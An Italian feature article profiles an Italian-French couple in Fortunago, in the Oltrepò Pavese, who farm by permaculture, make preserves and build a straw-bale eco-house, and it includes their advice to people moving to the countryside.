La casa di paglia nell’Oltrepò Pavese

In tanti la chiamano affettuosamente “la casa dei tre porcellini”, perché è una casa di paglia: ma al contrario di quella della favola è solida, coibentata, antisismica. E totalmente ecologica. Un modello riproducibile di bioedilizia. Si trova a Fortunago, nell’Oltrepò Pavese, nell’azienda agricola / agriturismo dove una giovane coppia italo-francese, Viviana e Alain, coltiva la terra senza lavorarla, seguendo i dettami della permacultura e dell’agricoltura sinergica, e produce in modo naturale conserve, confetture, farine, biscotti, miele, erbe aromatiche, infusi.

 

Tutto è cominciato nove anni fa. Viviana Vignandel, veneta, e Alain Lanot, francese della Piccardia, sono una giovane coppia che vive a Milano: lei, laureata in Lingue orientali, lavora nel mondo della comunicazione, lui in quello delle risorse umane; entrambi per una multinazionale francese. Spesso trascorrono periodi all’estero: Cina, Canada, Giappone. Da 10 anni desiderano un figlio, che non arriva. “Così abbiamo deciso di adottare un orto” dice scherzosamente Viviana.

L’esperienza in cascina

Con un’altra ventina di persone (architetti, impiegati, manager) cominciano a frequentare una cascina nei dintorni di Milano, coltivando in allegra compagnia un orto condiviso di 4.000 metri quadrati. Poi la svolta: complice un week-end nell’Oltrepò Pavese, Viviana e Alain decidono di trasferirsi in campagna. Nel 2007 acquistano all’asta un appezzamento di terreno di 4 ettari nel comune di Fortunago, un paese con meno di 400 abitanti che fa parte dei circuito dei borghi più belli d’Italia, e danno inizio alla loro produzione di ortaggi, frutti rossi, erbe aromatiche e altro. La terra è fertile, in tutti i sensi: poco dopo il trasferimento nasce Mathieu, il figlio tanto atteso, seguito a distanza di un anno dal fratellino Pierre.

Viviana e Alain applicano sul loro terreno quanto hanno sperimentato nella cascina. L’orto è coltivato in modo naturale, seguendo i principi della permacultura e dell’agricoltura sinergica: le fragole crescono tra i porri e i cavolfiori con le lavande, in un letto di paglia… e questo coltivare consente di non dover zappare o vangare faticosamente la terra, di poter fare a meno di qualsiasi tipo di pesticida o fertilizzante chimico e di ridurre notevolmente il consumo idrico.

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La filiera cortissima, a km 0,001

La produzione cresce: in breve si passa dall’autoconsumo alla vendita. Nasce l’idea di dar vita a una filiera completa, tutta in loco: produzione, trasformazione, commercializzazione. Così, a partire dal 2010, Viviana comincia a creare confetture e conserve dai sapori genuini: prodotti artigianali e di qualità, anche  sorprendenti (marmellate di melanzane e nocciole, mirabolano e anice stellato…), ottenuti mescolando con equilibrio ortaggi, frutta, fiori, con l’aggiunta di note calde speziate o utilizzando vini locali per la macerazione. Le produzioni – prive di coloranti, conservanti, additivi o addensanti chimici industriali – seguono il ritmo delle stagioni. L’offerta comprende anche gelatine, miele, farine, biscotti, erbe aromatiche, infusi.

Ogni anno la produzione aumenta, ma l’obiettivo è quello di preservare l’artigianalità, senza dar vita a prodotti industriali che privilegino i grandi volumi a scapito della qualità. “Inizialmente barattavo le nostre confetture con un taglio di capelli qui in paese” racconta divertita Viviana. “Ora vedo i miei barattoli esposti nei bistrot di Parigi, o nel prestigioso mercato in piazza del Duomo a Milano”.

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La sfida della casa di paglia

Ma l’idea più innovativa nasce dalla mente di Alain, creativo e anticonformista. Il filo conduttore è quello della paglia, con la quale, insieme ad altri materiali naturali, decide di costruire la propria abitazione.

“Avevo voglia di dimostrare che con quello che la natura ti offre e con le tue mani puoi comunque realizzare delle cose incredibili” afferma Alain con un sorriso convinto. “A questo si è aggiunta una piccola sfida, ovvero l’impegno a utilizzare materiali semplici reperibili in loco, a ricorrere a professionisti e manodopera locali, a impiegare tecniche semplici, poco utilizzate (come la carpenteria a incastro) o alternative (come i muri in ballette di paglia). E così abbiamo iniziato con un gruppo di amici e un formatore a costruire un ambiente ottagonale di 45 mq in stile Nebraska (quindi autoportante) con tetto reciproco, pavimentazione in terra battuta, intonacatura in argilla dentro e fuori, tetto verde: è stata un po’ la nostra palestra”.

A dirigere i lavori è Saviana Parodi Delfino: biologa, presidente dell’Accademia Italiana di Permacultura, esperta di agricoltura sinergica e architettura spontanea con materiali naturali. “Ancora mi ricordo alcune scene” dice Viviana trattenendo a stento le risa. “Saviana (SuperSavi per gli amici) sul tetto a impartire ordini, preoccupata dell’arrivo della pioggia, e intorno a lei un gruppo di persone eterogeneo (dall’intellettuale al contadino, dall’ingegnere alla vicina di casa), talvolta più intento a scattare foto, scambiare due chiacchiere e fare amicizia che a lavorare sodo impiastricciandosi di argilla”.

Il padiglione viene completato come da progetto, con la soddisfazione di tutti i partecipanti. Sulla scia dell’entusiasmo, Alain e Viviana, a Natale del 2012, decidono di avviare un nuovo cantiere, ben più grande, per 350 metri quadrati complessivi, utilizzando solo tecniche di bioedilizia. “I lavori sono stati rallentati dalle nevicate, ma già l’anno scorso abbiamo iniziato ad abitare nei nuovi locali. Abbiamo ultimato i saloni adibiti a bottega, dove si possono acquistare e degustare i nostri prodotti, e ora stiamo completando le camere previste per l’ospitalità. La nostra non è proprio la casa dei tre porcellini (siamo già in quattro!) ma è solida e confortevole, fatta di terra, paglia, legno e… tanto coraggio, perché l’abbiamo costruita veramente con le nostre mani e grande forza di volontà”.

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 Un modello di architettura ecologica…

La casa di paglia di Fortunago è stata ideata facendo ricorso a tecniche di bioedilizia e risparmio energetico.

Il progetto prevede:

  • plinti in cemento armato senza fondazioni (vespaio di pietroni con piccola gettata di calce)
  • struttura in legno (pilastri, travi e capriate in rovere /castagno/duglas)
  • tetto in legno isolato con ballette di paglia e coppi di recupero
  • tamponamenti con tante ballette di paglia approcciata
  • intonaci interni in terra cruda (argilla), esterni in terra cruda e calce naturale
  • serramenti in legno
  • pavimenti in lastre di travertino trattato con cera d’api
  • impianto di riscaldamento e acqua calda sanitaria con due stufe a inerzia termica ad alto rendimento: una per la produzione di acqua calda sanitaria, integrata dai pannelli solari termici, l’altra – più grande –per il riscaldamento della casa
  • impianto di fitodepurazione acque nere e grigie con recupero e riutilizzo ai fini agricoli
  • impianto di filtraggio e recupero acque meteoriche con primo riutilizzo in abitazione e stoccaggio per utilizzo ai fini agricoli.

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  … con tanti vantaggi

L’edificio è pienamente ecocompatibile ed economicamente sostenibile. La paglia infatti risulta essere:

  • un eccellente isolante termico: la resistenza termica di una parete in balle di paglia (pari a R=5 mentre 9 case nuove su 10 non eccedono R=1,5) consente di realizzare forti economie d’investimento sul sistema di riscaldamento, in quanto riduce la dispersione e rende sufficiente l’uso di una semplice stufa, disposta al centro dell’abitazione, per raggiungere e mantenere costante la giusta temperatura
  • un ottimo isolante acustico (molti studi di registrazione negli Stati Uniti sono costruiti con balle di paglia)
  • un materiale non inquinante, in quanto completamente biodegradabile e con un impatto ambientale molto debole (non produce CO2, anzi durante la sua crescita la fissa)
  • economica: è infatti 10 volte meno costosa degli isolanti convenzionali, a parità di prestazione
  • facilmente reperibile ovunque, a km 0, ogni anno: è quindi disponibile in quantità illimitata, necessita di poca energia per la sua trasformazione in materiale di costruzione e offre una riciclabilità assoluta
  • salubre: le pareti in paglia e argilla sono altamente traspiranti, offrendo un’aria interna sana e un’eccellente regolazione dell’umidità; anche l’argilla infatti, come la paglia, è in grado di assorbire o emanare velocemente l’umidità (in misura da 4 a 10 volte maggiore rispetto a un comune intonaco di malta bastarda), garantendo il comfort abitativo, la minore formazione di polvere, la conseguente prevenzione da raffreddori, influenze, asma e allergie.

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 Un crocevia di talenti e di esperienze

Nei nuovi locali della loro casa di paglia, Alain e Viviana organizzano tanti eventi di socialità e convivialità: aperitivi a base di piante e fiori, esperienze di cucina biologica per blogger, pranzi “arcobaleno” per giocare coi colori della natura (centrifugati di rape rosse, ravioli viola ecc.), corsi di pasta madre, di sapone, di botanica. E tanti momenti di condivisione e contaminazione: “Molte delle persone (e sono migliaia) che ci sono venute a trovare in questi anni, per vedere la casa o per saperne di più sulle tecniche di coltivazione alternative, hanno scoperto che quello che abbiamo realizzato non è utopia – spiega Viviana – che “si può fare”, che è possibile nutrirsi dei frutti coltivati sulla propria terra o costruire una casa con le proprie mani insieme ai propri figli. Negli ultimi due anni sono già sei le case di paglia in costruzione nell’Oltrepò. Ma noi non abbiamo nessun merito, solo l’umiltà di condividere la nostra esperienza”. “Questa casa è un crocevia, un crocevia di talenti ed esperienze” le fa eco Alain. “Noi non pretendiamo di insegnare niente a nessuno: intendiamo solo raccontare a chi ce lo chiede la nostra storia di difficoltà e successi, dare coraggio, sostenere la voglia di cambiamento”.

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 Alcuni semplici consigli

“Quando si fanno scelte radicali, i cambiamenti vanno fatti a piccoli passi”: è questo il monito principale di Alain e Viviana a chi vuole seguire le loro orme. “Non basta dire vado a vivere in campagna: è una cosa vaga. Il primo passo, infatti, è scegliere con cura la località dove mettere le nuove radici. Occorre dedicarsi alla ricerca senza condizionamenti, individuare lo spazio giusto e sentire che questo luogo ti chiama”.

Il secondo è integrarsi con il territorio che si sceglie: “Noi siamo arrivati che eravamo dei foresti, li chiamano così. E ci siamo dedicati molto all’integrazione: abbiamo fatto picnic con la bruschetta per festeggiare i pomodori più belli del nostro orto con tutto il borgo. Abbiamo cercato di sentirci a casa e allo stesso tempo, con grande umiltà, di integrarci in un paese che non era il nostro”.

Terzo passo, sperimentare a piccole dosi: “Non partire dal nulla comprando 6 ettari di terreno e il trattore; meglio cominciare con 5 mq di orto, 200 mq di frutteto. Farsi prendere dall’entusiasmo quando si fa una scelta di cambiamento è facile; poi bisogna avere molta forza e nervi saldi per mantenerla”.

E poi: creare una rete di persone con cui sperimentare e condividere esperienze simili ma, soprattutto, “rimanere idealisti e credere nei propri sogni: se ci credi e ci metti tutta la tua buona volontà, ogni aspettativa si può realizzare”.

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 Una scelta di vita

Alain e Viviana non hanno rimpianti: “Certo, rinunciare alla carriera, lasciare tutto per trasferirci qui non è stato facile – ammette Viviana –. C’è voluto tanto lavoro. E tanto coraggio. Ma se oggi guardo le colline oltre la finestra, sento che non c’è altro luogo dove vorrei vivere e crescere i miei bambini. Perché stare qui ti fa provare nuove sensazioni ogni giorno. Se nessuno tornasse a viverci, questi splendidi luoghi a rischio abbandono finirebbero per scomparire in pochi anni, assieme alle loro atmosfere e alle loro tradizioni. E questo davvero non possiamo permetterlo”.

 

Video RAI – Viviana Vignandel – Geo del 5 ottobre 2015

Video RAI – Linea Verde del 17 febbraio 2013 (da 7’00” a 13’25”)

 

 

 

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aperta il 15/02/20170 partecipanti

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